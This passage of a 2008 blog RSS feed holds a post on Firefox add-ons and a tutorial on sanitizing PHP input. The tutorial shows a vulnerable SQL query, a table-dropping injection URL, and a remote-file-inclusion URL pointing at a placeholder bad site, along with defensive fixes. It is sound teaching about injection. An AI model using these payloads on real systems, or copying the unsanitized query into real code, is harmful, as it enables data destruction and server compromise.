		<comments>http://highedwebtech.com/2008/04/03/firefox-add-ons-i-use/#comments</comments>
		<pubDate>Thu, 03 Apr 2008 12:45:25 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Amazon S3]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://highedwebtech.com/?p=26</guid>
		<description><![CDATA[Continuing from Heidi Cool&#8217;s post about Firefox plugins, I wanted to talk about some that I use. Then, we&#8217;ll jump back into web videos. YSlow Yslow is a Firebug addition that helps you examine the technical nature of your site. &#8230; <a href="http://highedwebtech.com/2008/04/03/firefox-add-ons-i-use/">Continued</a>]]></description>
			<content:encoded><![CDATA[<p>Continuing from Heidi Cool&#8217;s <a href="http://blog.case.edu/webdev/2008/04/03/firefox">post</a> about Firefox plugins, I wanted to talk about some that I use. Then, we&#8217;ll jump back into web videos.</p>
<p><strong>YSlow</strong><br />
<a href="http://developer.yahoo.com/yslow/">Yslow</a> is a Firebug addition that helps you examine the technical nature of your site. It gives you a &#8220;performance report card,&#8221; and recommends actions that you can take to improve the performance of your site. This includes things like making less HTTP requests, using a content delivery network and adding &#8220;expires&#8221; headers to your files. It&#8217;s been a great resource for me in trying to eke out every bit of performance I can from my sites. That second or two of improvement will probably never be noticed by my users, but it makes me feel better knowing I&#8217;m doing all I can to give them information quickly.</p>
<p><strong>S3Fox</strong><br />
<a href="https://addons.mozilla.org/en-US/firefox/addon/3247">S3Fox</a> gives you access to Amazon S3 directly in Firefox, so you can work quickly to add files, delete files, or change permissions. Sometimes you just want to make a quick fix and you don&#8217;t want to open another program, like an FTP client, to do this.</p>
<p><strong>NoScript</strong><br />
The <a href="http://noscript.net/">Noscript</a> plugin gives you protection against javascript and flash if you desire it. It&#8217;s well developed and easy to use. You can whitelist certain domains you trust, and access info about the scripts running on any page by clicking the icon in the status bar.</p>
<p><strong>Extension for Amazon EC2</strong><br />
<a href="http://developer.amazonwebservices.com/connect/entry.jspa?entryID=609">EC2UI</a> is only important to you if you regularly run EC2 instances and need an easy way to control them.</p>
]]></content:encoded>
			<wfw:commentRss>http://highedwebtech.com/2008/04/03/firefox-add-ons-i-use/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Get thee some sanitizer</title>
		<link>http://highedwebtech.com/2008/03/17/always-check-your-code-always/</link>
		<comments>http://highedwebtech.com/2008/03/17/always-check-your-code-always/#comments</comments>
		<pubDate>Mon, 17 Mar 2008 20:35:58 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://highedwebtech.com/2008/03/17/always-check-your-code-always/</guid>
		<description><![CDATA[It&#8217;s always good to sanitize. I remember back to my days of working at Burger King &#8211; when I was unlucky enough to pull dishwashing duty, you would wash the dishes with soap, rinse them and then sanitize them before &#8230; <a href="http://highedwebtech.com/2008/03/17/always-check-your-code-always/">Continued</a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://highedwebtech.com.s67666.gridserver.com/wp-content/uploads/2008/03/images.jpeg" style="float:right;margin:5px;" alt="Sanitizer" />It&#8217;s always good to sanitize. I remember back to my days of working at Burger King &#8211; when I was unlucky enough to pull dishwashing duty, you would wash the dishes with soap, rinse them and then sanitize them before putting them away. You want to make sure nothing funky was left over.</p>
<p>Same goes for PHP code, except in reverse. Imagine your web application is the dishwashing station at Burger King. We want to wash, rinse and sanitize any dishes we get, but in this case we&#8217;re talking about any inputs we get from a user. In the case of our web app, we want to make sure we sanitize that input before we go and wash, rinse, query, insert and update our data. We certainly don&#8217;t want to process compromised inputs, and we certainly do not want to write and store that code in our databases.</p>
<p>I was reviewing some code written by one of our students and saw this:</p>
<p><code>$catid = $_GET['cat'];<br />
$select = mysql_query("SELECT * FROM categories WHERE id = ".$catid);</code></p>
<p>Friends, that&#8217;s bad. That&#8217;s a SQL injection waiting to happen. It looks innocent enough &#8211; we&#8217;re taking in whatever input string included in the variable $_GET['cat'] and then querying our database in the next line. It would be very easy for someone to try something nefarious (and trust me, they will and do, often).</p>
<p><span id="more-10"></span></p>
<p>It would be very easy for someone to see we&#8217;re passing a string and attach some extra stuff to it. Our code is assuming we&#8217;re passing an integer. In a perfect world, this request:<code> http://server.com/page.php?cat=15</code> is what we want. Now imagine someone did this: <code>http://server.com/page.php?cat=1;drop%20table;</code>. That would be bad. When our page was loaded and the PHP executed, this line would run:</p>
<p><code>$select = mysql_query("SELECT * FROM categories WHERE id = 2;drop table;);</code></p>
<p>And before you know it, all the data stored in your table would be gone. Dropping a table is kid stuff for hackers out there. They want more &#8211; they want to use that injection to break into your server and cause havoc. They will exploit code like I showed about and pass your server a URL like this:</p>
<p><code>http://www.server.com/page.php?id=http://badsite/.html/body?</code></p>
<p>That little snippet of code will try to load a text file full of bad PHP commands what will compromise your machine. I see our server getting hammered with requests like that all day long. I bet if you dig around your Apache logs you will as well.</p>
<p>Want to see what one of these kinds of scripts can do? <a href="http://highedwebtech.com.s67666.gridserver.com/wp-content/uploads/2008/03/badcode.txt">Look at this raw code</a> and see what it can probe on your server. It&#8217;s scary. I&#8217;m only putting that code here to show you what people want to do to your server.</p>
<p>There are some things you absolutely must do when accepting user inputs or writing that data to a database. It&#8217;s not a case of maybe or someday, there are things that if you are not doing them now, you need to be doing. Close Facebook and get in your code.</p>
<p>There are lots of ways to accomplish this. Here are a few ideas to get you started.</p>
<p>One easy way to is check everything for type. In the example above, we were expecting the $_GET['cat'] to be an integer. This little bit of PHP code makes sure we&#8217;re getting the right data type.</p>
<p><code>if(is_numeric($_GET['id'])==TRUE){<br />
  }else{<br />
    echo "Forbidden!";<br />
    die();<br />
  }</code></p>
<p>That snippet will check your input to ensure its an integer using the &#8216;is_numeric&#8217; function built into PHP. If it is, the if statement ends as we&#8217;re not doing any additional processing and we can skip the ELSE part. If it&#8217;s not an integer, and someone tried to throw some text in that field, we tell them a message, in this case &#8220;FORBIDDEN&#8221; and we execute the die command, which stops all further processing on this page immediately. If you want to, you can do some logging at this point to catch the IP address of the offending party and further block them, but if you&#8217;re just starting to sanitize your code, it&#8217;s better to block them and worry about the rest later.</p>
<p>PHP 5 has a new function called <a href="http://us.php.net/filter">filter</a> that will also do some processing and sanitizing for you. Using one of the functions like FILTER_SANITIZE_STRING will strip HTML tags from a string for you automatically. Here&#8217;s a quick example:</p>
<p><code>$input = "HighEdWebTech&lt;a href='link.php'&gt; is nice";<br />
$output = filter_var($input, FILTER_SANITIZE_STRING);</code></p>
<p>This will make the $output variable contain just the text &#8220;HighEdWebTech is nice&#8221; now. All the potentially bad stuff is gone.</p>
<p>Finally, you may want to check out OWASP&#8217;s sanitize.inc.php code. It&#8217;s an include you can drop into your application&#8217;s code and it does a lot of the heavy lifting for you when it comes to sanitizing your inputs. You can read more and see some implementation <a href="http://www.phpbuilder.com/columns/ryan_mcgeehan20060627.php3">here</a>. This class comes with pre-set types of sanitizing that you can do, including settings for PARANOID, SQL, SYSTEM, HTML, INT, FLOAT, LDAP, and UTF8. A setting like SQL will make sure everything is cool and everything is quoted correctly. This is often a target of SQL injections. By using the INT and FLOAT options, you can accomplish what our code above does, but you don&#8217;t have to write new code every time, you can just pass your variable through the sanitize filter.</p>
<p>In the end, you must check your inputs and outputs to make sure everything is cool before you use them. When I was just starting out learning PHP, I made similar mistakes, and my code was compromised. Now, you can never be too paranoid about your applications and the steps you take to secure them. Someday, I&#8217;ll show you how to write safe queries with <a href="http://us.php.net/manual/en/function.mysql-real-escape-string.php">mysql_real_escape_string</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://highedwebtech.com/2008/03/17/always-check-your-code-always/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

